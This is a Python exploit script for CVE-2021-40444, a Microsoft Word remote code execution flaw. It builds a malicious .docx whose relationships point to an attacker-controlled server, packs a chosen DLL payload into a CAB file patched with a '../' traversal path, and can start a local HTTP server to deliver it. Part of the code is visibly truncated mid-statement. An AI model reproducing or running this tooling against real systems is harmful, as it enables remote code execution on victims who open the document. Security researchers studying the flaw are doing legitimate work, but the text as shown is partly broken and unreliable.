#!/usr/bin/env python3 # Microsoft Office Remote Code Execution Exploit via Logical Bug # Result is ability for attackers to execute arbitrary custom DLL's # downloaded and executed on target system import argparse import binascii import random import re import shutil import string import struct import sys import os import subprocess import traceback from pathlib import Path from cab_parser import Cab from in_place import InPlace def patch_cab(path: Path, original_inf_path, patched_inf_path): with InPlace(str(path.absolute()), mode="b") as out_cab: cab = Cab(out_cab.read()) print(" [*] Setting setID to 1234") cab.change_set_id(1234) print(" [*] Setting CFFolder.coffCabStart to 80") cab.change_coff_cab_start(80) print(" [*] Setting CFFolder.CCFData to 2") cab.change_ccfdata_count(2) size = struct.unpack("] Payload: {payload}') print(f' [>] HTML/CAB Hosting Server: {server_url}') try: payload_content = open(payload, 'rb').read() with open(str(word_dll), 'wb') as filep: filep.write(payload_content) except FileNotFoundError: print('[-] DLL Payload specified not found!') exit(1) except Exception as e: print(f"[-] Exception: {e}") exit(1) shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True) print('[*] Crafting Relationships to point to HTML/CAB Hosting Server...') with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels: xml_content = rels.read() xml_content = xml_content.replace('', f'{server_url}/{html_final_file.name}') xml_content = xml_content.replace('', inf_file.name) rels.write(xml_content) print('[*] Packing MS Word .docx file...') word_doc.unlink(missing_ok=True) shutil.make_archive(str(word_doc), 'zip', str(tmp_path)) shutil.move(str(word_doc) + ".zip", str(word_doc)) shutil.rmtree(str(tmp_path)) print('[*] Generating CAB file...') make_ddf(ddf_file=ddf, cab_file=cab_file, inf_file=inf_file) shutil.move(word_dll, inf_file) execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory)) patched_path = f'../{inf_file.name}'.encode() patch_cab(cab_file, str(inf_file.name).encode(), patched_path) shutil.copy(cab_file, srv_path) shutil.copy(ddf, srv_path) word_dll.unlink(missing_ok=True) inf_file.unlink(missing_ok=True) ddf.unlink(missing_ok=True) shutil.rmtree(str(cab_path.absolute())) print('[*] Updating information on HTML exploit...') shutil.copy(str(html_template_file), str(html_final_file)) print('[*] Copying MS Word .docx to Desktop for local testing...') dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name) dest.unlink(missing_ok=True) shutil.copy(str(word_doc.absolute()), dest) if copy_to and os.path.isdir(copy_to): print(f'[*] Copying malicious cab to {copy_to} for analysis...') dest = Path(copy_to).joinpath(cab_file.name) dest.unlink(missing_ok=True) shutil.copy(str(cab_file.absolute()), dest) print(f' [>] CAB file stored at: {cab_file}') with InPlace(str(html_final_file)) as p_exp: content = p_exp.read() content = content.replace('', f"{server_url}/{cab_file.name}") content = content.replace('', f"{inf_file.name}") p_exp.write(content) print(f'[+] Success! MS Word Document stored at: {word_doc}') def start_server(lport, directory: Path): subprocess.Popen( f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python -m http.server {lport}', shell=True, close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL, creationflags=subprocess.DETACHED_PROCESS ) def clean(): pass def validate_filename(filename): # Required length for the file name required_length = 12 current_length = 0 if not filename else len(filename) gap = required_length - current_length return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap)) if __name__ == '__main__': parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]') parser.add_argument('-P', '--payload', type=str, required=True, help="DLL payload to use for the exploit") parser.add_argument('-u', '--url', type=str, default=None, required=True, help="Server URL for malicious references (CAB->INF)") parser.add_argument('-o', '--output', type=str, default=None, required=False, help="Output files basename (no extension)") parser.add_argument('--host', action='store_true', default=False, required=False, help="If set, will host the payload after creation") parser.add_argument('-p', '--lport', type=int, default=8080, required=False, help="Port to use when hosting malicious payload") parser.add_argument('-c', '--copy-to', type=str, default=None, required=False, help="Copy payload to an alternate path") args = parser.parse_args() filename = validate_filename(args.output) print('[*] Generating a malicious payload...') try: generate_payload(payload=args.payload, server_url=args.url, basename=filename, copy_to=args.copy_to) except: traceback.print_exc() if args.host: print('[*] Hosting HTML Exploit...') start_server(lport=args.lport, directory=Path(__file__).parent.joinpath("srv"))